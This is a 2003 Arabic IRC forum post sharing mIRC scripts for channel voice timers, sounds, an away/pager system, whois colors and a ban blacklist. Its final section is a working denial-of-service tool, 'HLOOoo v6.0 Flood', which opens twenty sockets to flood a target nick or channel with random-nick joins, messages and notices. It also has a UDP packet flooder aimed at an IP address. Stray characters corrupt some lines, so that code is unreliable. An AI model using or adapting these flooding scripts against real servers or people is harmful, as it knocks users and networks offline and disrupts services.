قديم 01-14-2003, 03:23 AM   المشاركة رقم: 1
المعلومات
الكاتب:
اللقب:
الاعضاء

البيانات
التسجيل: Sep 2002
العضوية: 66
المشاركات: 256 [+]
بمعدل : 0.04 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
sub-ziro` غير متصل
وسائل الإتصال:

المنتدى : برامج - سكربتات - اضافات ماسنجر
اوامر بي الهبل كلها جميله

امر تنزيل الافويس بعد ست مية ثانيه
بالرموت



#voices on
on 1:op:#:{
if ($opnick == $me) {
unset %vchan
var %vchan 1
while (%vchan <= $vnick(#,0)) {
.timerv [ $+ [ $vnick(#,%vchan)) ] $+ [ $chan ] ] 1 300 mode #
-v $vnick(#,%vchan))
inc %vchan
}
}
}

on @1:voice:#:{
if ($vnick != $me) && ($vnick != $op) {
.timerv [ $+ [ $vnick ] $+ [ $chan ] ] 1 300 mode # -v $vnick
}
}

on 1:deop:#:{
if ($opnick == $me) {
.timerv* [ $+ [ $chan ] ] off
}
}

on @1:devoice:#:{
if ($timer(v $+ $vnick $+ $chan) != $null) {
.timerv [ $+ [ $vnick ] $+ [ $chan ] ] off
}
}

on @1:part:#:{
if ($timer(v $+ $nick $+ $chan) != $null) {
.timerv [ $+ [ $nick ] $+ [ $chan ] ] off
}
}

on @1:quit:{
if ($timer(v $+ $nick $+ *) != $null) {
.timerv [ $+ [ $nick ] $+ [ * ] ] off
}
}

on @1:text:*:#:{
if ($nick isvo $chan) {
.timerv [ $+ [ $nick ] $+ [ $chan ] ] 1 300 mode # -v $nick
}
}

on @1:action:*:#:{
if ($nick isvo $chan) {
.timerv [ $+ [ $nick ] $+ [ $chan ] ] 1 300 mode # -v $nick
}
}
#voices end

menu menubar,channel,status {
Devoices
.on:/.enable #voices
.-
.off:/.disable #voices
}


--------------------------------
تشغيل الويفات
on 1:start:/splay ????.wav صوت عند دخول السكربت

on 1:connect:/splay ????.wav صوت عند الشبك

on 1:disconnect:/splay ????.wav صوت عند فصل الايرسي

on 1:op:if ($nick == $me) { /splay ????.wav } صوت عند اخذ الاوب

on 1:voice:if ($nick == $me) { /splay ????.wav } صوت عند الفويس

on 1:deop:if ($nick == $me) { /splay ????.wav } صوت عند الغاء الاوب

on 1:devoice:if ($nick == $me) { /splay ????.wav } صوت عند الغاء الفويس



----------------------------------

امر دايلوق الاوي
alias pmc1 {
if ( %away.total.pages > 0 ) {
echo -a $chr(35) of CTCP pages received: %away.total.pages $+ .
set %away.total.pages 0
}
else echo -a No CTCP pages were received.
}
alias repeataway {
if (%away.rep) .timerblah 0 %away.rep. rep2
}
alias rep2 {
if (%away.rep. < 600) set %away.rep. 3600
if ($chan(0)) ame is Still Away 1(1 $+ %away.reason $+ 14) 15(1 $+ $a.cp $+ 14)1 Gone: $duration($calc($ctime - %away.time))
else return
}
alias cdate1 { return $date(dd/mmm/yy) : $time(HH:nn) }
alias away.logo { return 1-=1 Away System15 =- }
alias sback {
if ( $away == $true ) && ( %away.q.mode != on ) {
Set %away.status off
away
if ( %away.nick == on ) {
nick %away.oldnick
unset %away.oldnick
unset %away.newnick
set %away.back $ctime
.timerblah off
if ( $chan(0) > 0 ) { aMe iS BaCk 1(1 $+ %away.reason $+ 14) 15(1 $+ $a.cp $+ 1)14 Gone: $duration($calc(%away.back - %away.time )) %logg }
resetidle
else { echo -a You have returned from %away.reason $+ . You were gone for $duration($calc(%away.back - %away.time)) $+ . %logg }
unset %away.back
unset %away.time
}
else {
set %away.back $ctime
if ( $chan(0) > 0 ) && (%away.time != $null) { aMe iS BaCk 14(1 $+ %away.reason $+ 14) 14(1 $+ $a.cp $+ 14)1 Gone: $duration($calc(%away.back - %away.time )) %logg }
else { echo -a You have returned from %away.reason $+ . You were gone for $duration($calc($ctime - %away.back)) $+ . }
resetidle
aacheck
.timerBlah off
.unset %away.back
.unset %away.time
.unset %away.oldnick
.unset %away.newnick
}
}
elseif (%away.q.mode == on ) { qsback }
else Echo -a You're not away.
}
alias saway {
if (%away.status == on) && ($away) echo -a You're already away.
else {
unset %away.reason
set %away.reason $$?="Away reason?"
away %away.reason
repeataway
set %away.time $ctime
set %away.stamp $time
set %away.q.mode off
if ($chan(0)) { aMe iS Away 1(14 $+ %away.reason $+ 14)15 . 1( $+ $a.cp $+ 14) %logg }
else echo -a 1You Are Away. reason: %away.reason $+ . PaGer %away.pager $+ . LoG: %away.log $+ .
set %away.time $ctime
awaycompare
}
}
alias testpage {
if ( %away.pager.wav == on ) && ( %away.pager.sound != empty ) splay %away.pager.sound
else beep 10 100
}
alias qsaway {
away %away.reason
set %away.q.mode on
unset %away.total.pages
if ($1 != r) set %away.reason $$?="Away reason?"
set %away.status on
set %away.time $ctime
echo -a Pager is %away.pager $+ .
echo -a Message logger is %away.log $+ .
set %away.st.1 »» Away
awaycompare
echo -a You are away. reason: %away.reason $+ .
}
alias qsback {
if ($away) && ( %away.q.mode == on ) {
set %away.back $ctime
echo -a 1You Have ReTurneD From %away.reason $+ . You Were Gone For $duration($calc(%away.back - %away.time)) $+ . %logg
away
if ( %away.nick == on ) {
nick %away.oldnick
unset %away.oldnick
unset %away.newnick
}
pmc1
set %away.q.mode off
unset %away.time
unset %away.back
}
else echo -a You're not away or you're not in quiet mode.
}
on *:start: {
unset %away.total.pages
if (%away.pager.clear == on) echo -a 1CTCP PaGer LoG CLeareD. | write -c pager.log
set %away.total.pages 0
if ( %predef.1 == $null ) set %predef.1 Empty
if ( %predef.2 == $null ) set %predef.2 Empty
if ( %predef.3 == $null ) set %predef.3 Empty
if ( %predef.4 == $null ) set %predef.4 Empty
if ( %predef.5 == $null ) set %predef.5 Empty
}
alias awaycompare {
if ( %away.nick == on ) && ( %away.nick.1 != $null ) {
set %away.oldnick $me
set %away.newnick $me $+ %away.nick.1
nick %away.newnick
}
}
alias predefaway {
unset %away.total.pages
if ( %away.status == on ) && ( $away == $true ) echo -a You're already away.
else {
if ( %away.q.mode == on ) { set %away.q.mode off }
away %away.reason
set %away.status on
set %away.st.1 »» Away
if ($chan(0)) { aMe iS Away 1(1 $+ %away.reason $+ 14)15 . 1(1 $+ $a.cp $+ 15) %logg }
else { echo -a 1You Are Away. reason: %away.reason $+ . PaGer: %away.pager $+ . LoG: %away.log $+ . }
set %away.time $ctime
awaycompare
}
}
alias idelest { if ( $idle > %auto.away.secs ) autoaway }
alias aacheck {
if ( %auto.away == on ) {
echo -a Auto-Away checker started.
.timerIdling 0 1 idelest
}
; else halt
}
alias autoaway {
.TimerIdling Off
unset %away.total.pages
if ($away) echo -a You're already away.
else {
.away %away.reason
set %away.st.1 »» Away
set %away.reason auto-away after $duration($idle)
set %away.status on
.set %away.time $ctime
.set %away.stamp $time
set %away.oldnick $me
awaycompare
if ($chan(0)) { aMe iS Away 1(1 $+ %away.reason $+ 14)15 . 1(1 $+ $a.cp $+ 14) %logg }
else echo -a You are away - %away.reason $+ .
}
}
on *:connect: { aacheck }
on *:text:*:?: {
if ($away) && ( %away.log == on ) {
msg $nick I'm away, reason: %away.reason %logg
Write msg.log 1(15 $+ $nick $+ 14)1 $+ : $1-
closemsg $nick
}
}
alias maway {
if ($away) sback
else saway
}
alias maway2 { ; if $1 == r there is a reason, we don't need to request it from the user!
if ($away) qsback
else qsaway $1-
}
ctcp *:PAGE:*: {
if ($away) && ( %away.pager == on ) {
haltdef
write pager.log Page received at $cdate $+ , from $nick $+ . message: $$2-
echo -a 1››› 15PaGe From 14(1 $+ $nick $+ 1)15 $+ : $$2-
inc %away.total.pages
testpage
}
else return
}
alias ANOn {
set %away.nick on
echo -a Away nick enabled
set %away.nick.1 $$?="Enter away nick - e.g. : -Gone, BrB, {A}"
if ( %away.nick.1 == $null ) { set %away.nick.1 {Away} }
else echo -a Away nickname set to %away.nick.1 $+ .
if ($away) nick %away.nick.1
}
Alias ANOff set %away.nick off | echo -a Away NicK DiSaBLeD

menu menubar,channel,query,status {
-
&…‡… Away SyStem …‡…
.&AwaySystem : open.AwaySysDialog
}

alias open.AwaySysDialog {
if ($dialog(AwaySysDialog) != $null) { dialog -v AwaySysDialog AwaySysDialog }
else { dialog -m AwaySysDialog AwaySysDialog }
}

Dialog AwaySysDialog {
title "Away SyStem"
size -1 -1 0 0
box "Away OpTionS", 1, 10 10 370 235
text "&Now You Are:", 2, 20 30 63 15
radio "Away" ,3, 110 30 45 15, group
radio "Not Away" ,4, 181 30 70 15
text "&When Away is on:" ,5, 20 50 85 15
radio "Stay Quiet" , 6, 110 50 66 15, group
radio "SenD To aLL The ChanneLs The ReaSon" ,7, 181 50 185 15
text "&The Reason MeSSaGe:", 40, 20 72 102 15
combo 8, 139 70 120 150 , edit drop
text "&uSe Away-NicK When Away:" ,9, 20 95 130 15
radio "YeS", 10, 155 95 37 15, group
radio "No", 11, 197 95 35 15
text "A&dd To NicK When Away:", 12, 20 117 114 15
combo 13, 139 113 120 90 , edit drop
text "&PaGer:", 14, 20 145 30 15
radio "ON", 15, 78 145 33 15, group
radio "OFF", 16, 116 145 45 15
button "&View LoG...", 17, 155 140 90 20
button "C&Lear LoG...", 18, 255 140 90 20
button "!", 19.1, 355 140 15 20
text "Lo&G:", 49, 20 170 20 15
radio "ON", 20, 78 170 33 15, group
radio "OFF", 21, 116 170 45 15
button "V&iew Log...", 22, 155 165 90 20
button "Cl&ear Log...", 23, 255 165 90 20
text "AuTo Awa&y:", 24, 20 195 53 15
radio "ON", 25, 78 195 33 15, group
radio "OFF", 26, 116 195 45 15
button "&Set Time...", 27, 155 190 90 20
text "DeFine shortcut keys:", 28, 20 220 100 15
text "Away (/a&me):", 29, 125 220 63 15
edit "", 30, 193 217 30 20
text "Away (&Quiet):", 31, 228 220 63 15
edit "", 32, 296 217 30 20
button "&OK", 35, 70 255 90 25, ok
button "&CanceL", 36, 220 255 90 25, cancel
}

on 1:dialog:AwaySysDialog:init:0: {
%.anim._i = 0 | .timer_anim -m 0 1 mutubanprot3.anim
;if (%away.st.1 == »» Not away) did -cf AwaySysDialog 4
;else { did -cf AwaySysDialog 3 }
if ($away) { did -cf AwaySysDialog 3 | set %away.st.1 »» Away | set %away.status on }
else { did -cf AwaySysDialog 4 | set %away.st.1 »» Not away | set %away.status off }
if (%away.nick == on) did -c AwaySysDialog 10
else { did -c AwaySysDialog 11 | did -b AwaySysDialog 12,13 }
if (%away.pager == on) did -c AwaySysDialog 15
else did -c AwaySysDialog 16
if (%away.log == on) did -c AwaySysDialog 20
else did -c AwaySysDialog 21
did -c AwaySysDialog 7
if (%auto.away == on) did -c AwaySysDialog 25
else did -c AwaySysDialog 26
did -a AwaySysDialog 30 %away.sc.a
did -a AwaySysDialog 32 %away.sc.b
if (%away.nick.1 != $null) { did -a AwaySysDialog 13 %away.nick.1 }
if (%away.nick.1 != {Away} ) did -a AwaySysDialog 13 {Away}
if (%away.nick.1 != -Gone ) did -a AwaySysDialog 13 -Gone
if (%away.nick.1 != |Brb ) did -a AwaySysDialog 13 |Brb
did -c AwaySysDialog 13 1
did -a AwaySysDialog 8 1Be 14Back 1Later.
did -a AwaySysDialog 8 15Sl1ee14pz1zZ.
did -a AwaySysDialog 8 14Su1rf1in15g Th14e W1eb
did -a AwaySysDialog 8 Not Here.
did -a AwaySysDialog 8 Out 4 a Smoke.
did -a AwaySysDialog 8 Coffee Break.
if (%predef.1 != Empty) did -a AwaySysDialog 8 %predef.1
if (%predef.2 != Empty) did -a AwaySysDialog 8 %predef.2
if (%predef.3 != Empty) did -a AwaySysDialog 8 %predef.3
if (%predef.4 != Empty) did -a AwaySysDialog 8 %predef.4
if (%predef.5 != Empty) did -a AwaySysDialog 8 %predef.5
}

on 1:dialog:AwaySysDialog:sclick:35: {
; add the reason to the list if there is an empty place and it not of the default reasons
if ($did(8) == $null) goto continue
if ($did(8) == Be Back Later.) || ($did(8) == SleepzzZ.) || ($did(8) == Surfing The Web) || ($did(8) == Not Here.) || ($did(8) == Out 4 a Smoke) || ($did(8) == Coffee Break) { goto continue }
if (($did(8) == %predef.1) || ($did(8) == %predef.2) || ($did(8) == %predef.3) || ($did(8) == %predef.4) || ($did(8) == %predef.5)) && $did(8) != Empty { goto continue }
if ($did(8) == Empty) { goto continue }
if (%predef.1 == Empty) { set %predef.1 $did(8) | goto continue }
if (%predef.2 == Empty) { set %predef.2 $did(8) | goto continue }
if (%predef.3 == Empty) { set %predef.3 $did(8) | goto continue }
if (%predef.4 == Empty) { set %predef.4 $did(8) | goto continue }
if (%predef.5 == Empty) { set %predef.5 $did(8) | goto continue }
:continue
; auto away
if ($did(25).state == 1) set %auto.away on
else set %auto.away off
; pager
if ($did(15).state == 1) set %away.pager on
else set %away.pager off
; log
if ($did(20).state == 1) set %away.log on
else set %away.log off
; shortcut keys
if ($did(30) != %away.sc.a) {
alias %away.sc.a
set %away.sc.a $did(30)
alias %away.sc.a maway
}
if ($did(32) != %away.sc.b) {
alias %away.sc.b
set %away.sc.b $did(32)
alias %away.sc.b maway2
}
; use away nick
if ($did(13) == $null) set %away.nick.1 {Away}
set %away.nick.1 $did(13)
if ($did(10).state == 1) {
set %away.nick on
}
else set %away.nick off
; Going away now
if ($did(3).state == 1 && %away.status == off) {
if ($did(6).state == 1) {
if ($did(8) == $null) set %away.reason No reason
else set %away.reason $did(8)
maway2 r
}
else {
if ($did(8) == $null) set %away.reason No reason
else set %away.reason $did(8)
predefaway
}
}

if ($did(4).state == 1 && %away.status == on) {
if (did(6).state == 1) maway2
else maway
}
}
on 1:dialog:AwaySysDialog:sclick:11: {
did -b AwaySysDialog 12,13
}

on 1:dialog:AwaySysDialog:sclick:10: {
did -e AwaySysDialog 12,13
}

on 1:dialog:AwaySysDialog:sclick:26: {
did -b AwaySysDialog 27
}

on 1:dialog:AwaySysDialog:sclick:25: {
did -e AwaySysDialog 27
}
on 1:dialog:AwaySysDialog:sclick:17: {
window -ak @PagerLog -0 -0
if ( $exists(pager.log)) { loadbuf @PagerLog pager.log }
else {
write pager.log $away.logo
loadbuf @PagerLog pager.log
}
}
alias ClearPagerLog {
if ( $$?!="Are you sure?" == $true ) { write -c pager.log | write pager.log $away.logo | echo -a 14›››1 CTCP PaGer LoG CLeareD. }
}
on 1:dialog:AwaySysDialog:sclick:18: .timer 1 0 ClearPagerLog
on 1:dialog:AwaySysDialog:sclick {
window -ak @MSGLog -0 -0
if ( $exists(msg.log)) { loadbuf @MSGLog msg.log }
else {
write msg.log $away.logo
loadbuf @MSGLog msg.log
}
}
alias ClearMsgLog {
if ( $$?!="Are you sure?" == $true ) { write -c msg.log | write msg.log $away.logo | echo -a 14›››1 MSG LoG CLeareD. } | else halt
}
on 1:dialog:AwaySysDialog:sclick:23: .timer 1 0 ClearMsgLog
alias SetTime {
set %auto.away.etp $$?="Enter number of seconds:"
if (%auto.away.etp isnum ) && ( %auto.away.etp > 0 ) set %auto.away.secs %auto.away.etp | Echo -a 14›››1 AuTo Away Set To %auto.away.etp SeconDs. | .unset %auto.away.etp | aacheck
}
on 1:dialog:AwaySysDialog:sclick:27: .timer 1 0 SetTime
alias SetPagerSound {
set %away.pager.wav on
if ( $$?!="Would you DangeruS to use a WAV file for the pager sound?" == $true ) set %away.pager.sound $dir[="Choose WAV file to play when Pager comes"] *.wav
else { set %away.pager.sound empty | set %away.pager.wav off }
}
on 1:dialog:AwaySysDialog:sclick:19: .timer 1 0 SetPagerSound
on 1:dialog:AwaySysDialog:sclick:37: open.AboutASDialog

alias a.cp {
if (%away.pager == on) && (%away.log == on) return Pager : ON . Log : ON
elseif (%away.pager == on) && (%away.log == off) return Pager ON . Log : OFF
elseif (%away.pager == off) && (%away.log == off) return Pager OFF . Log : OFF
elseif (%away.pager == off) && (%away.log == on) return Pager : OFF . Log : ON
}
alias mutubanprot3.anim {
if (($dialog(AwaySysDialog) == $null) || (%.anim._i > 390)) { .timer_anim off | unset %.anim.tmp* %.anim._i | return }
:1 | %.anim.tmpx = $calc(($window(-1).w / 1.28) - %.anim._i) | %.anim.tmpy = $calc(($window(-1).h / 1.05) - %.anim._i) | %.anim.tmpw = $calc(%.anim._i * 1) | %.anim.tmph = $calc(%.anim._i * .74)
dialog -s AwaySysDialog %.anim.tmpx %.anim.tmpy %.anim.tmpw %.anim.tmph | inc %.anim._i 4
}

هووو از الوان



;whois clours

raw 401:*: set %User.Nick 0 | halt
raw 301:*: set %User.Away Yes | set %User.Reason $3- | halt
raw 311:*: set %User.Nick $2 | set %User.Address $3 $+ @ $+ $4 | set %User.Name $6- | halt
raw 312:*: set %User.Server $3 | halt
raw 313:*: set %User.IRCop Yes | halt
raw 317:*: set %User.Idle $3 | halt
raw 319:*: set %User.Channels $3- | halt
raw 318:* {
if (%User.Nick == 0) { echo 12 -a 4[] $12 12No Such Nick 4[] | unset %user.* | .disable #Scan.User | halt }
echo %color.echo -a 4«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»
«»
echo %color.echo -a 0=============> 3-=4Whois %User.Nick : 3=-
echo %color.echo -a 4Date12 =-= $day of the $time
echo %color.echo -a 4Address12 =-= %User.Address
echo %color.echo -a 4Name12 =-= %User.Name
echo %color.echo -a 4Server12 =-= %User.Server
echo %color.echo -a 4Port12 =-= $port
if (%User.Channels == $null) { echo %color.echo -a 4Channels =-= Not Found }
else { echo %color.echo -a 4Channels1:- %User.Channels }
if (%User.Away != $null) { echo %color.echo -a 6•Away6• %User.Reason }
if (%User.IRCop != $null) { echo %color.echo -a 6•IRC Operator6• %User.IRCop }
echo %color.echo -a 4«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»«»
«»
unset %User.* | .disable #Scan.User | halt
}

alias thank dialog -mo thank thank
dialog thank {
title "Add-ons By BrMoDaH"
size -1 -1 200 180
box "",1,5 0 190 70
text "Thank you for loading this Add-on written by BrMoDaH. Please visit this website for more add-ons and other IRC tools. Have fun.",2,10 12 180 50,left
box "",3,5 68 190 86
edit "http://go.to/Viper753",5,33 100 130 22,center,read
button "Visit",6,70 127 50 20
button "Close",7,5 158 190 20,ok
}
on *:dialog:thank:init:0:/did -f thank 6
on *:dialog:thank:sclick:6:/run http://go.to/Viper753
on *:load:if ($version < 5.51) { echo 3 *** Warning: This script requires mIRC v5.51 or higher. You are using mIRC $version which is incompatible with this script. Please download the latest copy of mIRC from www.mirc.co.uk | .unload -rs cloo.mrc | halt } | thank


__________________

بلاك لست
on +@350:JOIN:#:{ if ($nick ison $chan) { ban $chan $nick 2 | kick $chan $nick 14Black List %k } }
on +@350:TEXT:#:{ if ($nick ison $chan) { ban $chan $nick 2 | kick $chan $nick 14Black List %k } }
on +@350:TEXT:*:#:{ if ($nick ison $chan) { ban $chan $nick 2 | kick $chan $nick 14Black List %k } }
on +@350:ACTIon:*:#:{ if ($nick ison $chan) { ban $chan $nick 2 | kick $chan $nick 14Black List %k } }
on +@350:NOTICE:*:#:{ if ($nick ison $chan) { ban $chan $nick 2 | kick $chan $nick 14Black List %k } }

menu nicklist,Query {
-
Black List
.©add©:/auser 350 $$1
.©del©:/ruser 350 $$1
.©list©:/ulist 350
-
©Clear All©:/.rlevel 350 | /echo All Blacklisted users Have Been Removed
-
}

_____________________

فلود
alias HLOOoo.flood {
.sockopen HLOOoo $did(flood,3) $did(flood,4)
.sockopen HLOOoo1 $did(flood,3) $did(flood,4)
.sockopen HLOOoo2 $did(flood,3) $did(flood,4)
.sockopen HLOOoo3 $did(flood,3) $did(flood,4)
.sockopen HLOOoo4 $did(flood,3) $did(flood,4)
.sockopen HLOOoo5 $did(flood,3) $did(flood,4)
.sockopen HLOOoo6 $did(flood,3) $did(flood,4)
.sockopen HLOOoo7 $did(flood,3) $did(flood,4)
.sockopen HLOOoo8 $did(flood,3) $did(flood,4)
.sockopen HLOOoo9 $did(flood,3) $did(flood,4)
.sockopen HLOOoo10 $did(flood,3) $did(flood,4)
.sockopen HLOOoo11 $did(flood,3) $did(flood,4)
.sockopen HLOOoo12 $did(flood,3) $did(flood,4)
.sockopen HLOOoo13 $did(flood,3) $did(flood,4)
.sockopen HLOOoo14 $did(flood,3) $did(flood,4)
.sockopen HLOOoo15 $did(flood,3) $did(flood,4)
.sockopen HLOOoo16 $did(flood,3) $did(flood,4)
.sockopen HLOOoo17 $did(flood,3) $did(flood,4)
.sockopen HLOOoo18 $did(flood,3) $did(flood,4)
.sockopen HLOOoo19 $did! (flood,3) $did(flood,4)
.sockopen HLOOoo20 $did(flood,3) $did(flood,4)
}
alias pt {
if ($3 = $null) { halt }
if ($chr(46) !isin $1) || ($2 !isnum) || ($3 !isnum) { sockwrite -tn $sockname notice %bot.nick Error Please use packet address size amount | halt }
if (a isin $1) || (b isin $1) || (c isin $1) || (d isin $1) || (e isin $1) || (f isin $1) || (g isin $1) || (h isin $1) || (i isin $1) || (j isin $1) || (k isin $1) || (l isin $1) || (m isin $1) || (n isin $1) || (o isin $1) || (p isin $1) || (q isin $1) || (r isin $1) || (s isin $1) || (t isin $1) || (u isin $1) || (v isin $1) || (w isin $1) || (x isin $1) || (y isin $1) || (z isin $1) {
sockwrite -tn $sockname privmsg %bot.nick Letters are not in "ips". please use IP | unset %packet.* | halt
}
.sockwrite -tn $sockname notice %bot.nick Now Packeting $1 with $2 bytes $3 times
.set %packet.ip $1
.set %packet.bytes $2
.set %packet.amount $3
.set %packet.count 0
:start
if (%packe! t.count >= %packet.amount) { sockclose packet | unset %packet.* | . sockwrite -tn $sockname notice %bot.nick Packeting has completed | halt }
.sockudp -b packet 60 %packet.ip $rand(1,6) $+ $rand(0,6) $+ ($rand(0,6) $+ $rand(0,9) %packet.bytes %packet.bytes
goto start
}
on *:SOCKOPEN:HLOOoo*: {
if ($sockerr > 0) { return }
did -a flood 13 $crlf $sockname Connecting
if (%HLOOoo.flood.type == jp) { goto jp }
if (%HLOOoo.flood.type == jpmsg) { goto jpmsg }
if (%HLOOoo.flood.type == msg) { goto msg }
if (%HLOOoo.flood.type == notice) { goto notice }
:jp
if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (tsunami.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.serve! r == $null) { /exit }
if (sodre.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
.sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99) asdf asdf asdf
.sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99)
.sockwrite -tn $sockname join %HLOOoo.flood.nc
.sockwrite -tn $sockname part %HLOOoo.flood.nc
.set %HLOOoo.flood.sock $sockname
.sockclose %HLOOoo.flood.sock
.sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood,4)
halt
:jpmsg
if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (! %HLOOoo.flood.server == $null) { /exit }
if (tsunami.dal.net isin % HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (sodre.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
.sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99) asdf asdf asdf
.sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9999)
.sockwrite -tn $sockname join %HLOOoo.flood.nc
.sockwrite -tn $sockname privmsg %HLOOoo.flood.nc : $+ $chr(1) $+ time $+ $chr(1)
.sockwrite -tn $sockname privmsg %HLOOoo.flood.nc : $+ %HLOOoo.flood.m
.set %HLOOoo.flood.sock $sockname
.sockclose %HLOOoo.flood.sock
.sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood! ,4)
halt
:msg
if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (tsunami.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (sodre.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
.sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99) asdf asdf asdf
.sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9! 999)
.sockwrite -tn $sockname privmsg %HLOOoo.flood.nc : $+ %HLOOoo .flood.m
.set %HLOOoo.flood.sock $sockname
.sockclose %HLOOoo.flood.sock
.sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood,4)
halt
:notice
if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (tsunami.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (sodre.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit }
.sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $r! and(a,z) $+ $rand(1,99) asdf asdf asdf
.sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9999)
.sockwrite -tn $sockname notice %HLOOoo.flood.nc : $+ %HLOOoo.flood.m
.set %HLOOoo.flood.sock $sockname
.sockclose %HLOOoo.flood.sock
.sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood,4)
halt
}
on 1:connect:{
/remote on
}

on 1:sockopen:woot.*: {
set %ux $randuser
.sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
.sockwrite -tn $sockname NICK %ux
.sockwrite -tn $sockname JOIN $fn(chan)
.sockrename $sockname ex. $+ %ux
}
alias uptime {
.say $sc(sb) $+ upt!me $sc(lx) $+ $replace($duration($calc($ticks / 1024)),mins,m!ns,min,m!n,hr,hr,hrs,hrs
,days,Days,day,Day,sec,sec,secs,Secs
) $+ $sc(rx) $+ $sc(eb)
}
on 1:SOCKREAD:ex.*: {
if ($sockerr > 0) return
sockread %ex.dat
if ($sockbr == 0) return
ex %ex.dat
}


alias sc {
.var %theshittythingo = $readini hxpirc.ini settings $1
.return $replace(%theshittythingo,b,,u,,c,)
}


alias flooder { dialog -m flood flood }
dialog flood {
title "HLOOoo v6.0 Flood"
size -1 -1 800 300
button "شب عليهم",2,5 270 60 25,default
edit "السيرفر Server ",3,10 10 180 20, center
edit "6667",4,10 30 180 20,center
edit "حط النك او القناه+#",5,10 50 180 20,center
edit "d",6,10 70 3180 20,center,autohs

box "",8,5 100 190 50
radio "دخول وخروج",9,10 108 70 20,right
radio "J/Msg/P",10,130 108 60 20,right
radio "مســج",11,10 130 70 15,right
radio "نوتيس",12,130 130 60 15,rightِ
edit "",13,10 160 180 105,read,multi,autovs,center
button "إغــلاق",14,135 270 60 25,cancel
button "تــوقف",15,67 270 65 25,default
}

on *dialog:flood:edit:3: { set %HLOOoo.flood.server $did(3) }
alias message { var %i = 1 | var %variable = null | while ($query(%i) != $null) { set %query %query $query(%i) | inc %i 1 } }
on *dialog:flood:edit:4: { set %HLOOoo.flood.port $did(4) }
alias chan { var %i = 1 | var %variable = null | while ($chan(%i) != $null) { set %chan %chan $chan(%i) | inc %i 1 } }
on *dialog:flood:edit:5: { set %HLOOoo.flood.nc $did(5) }
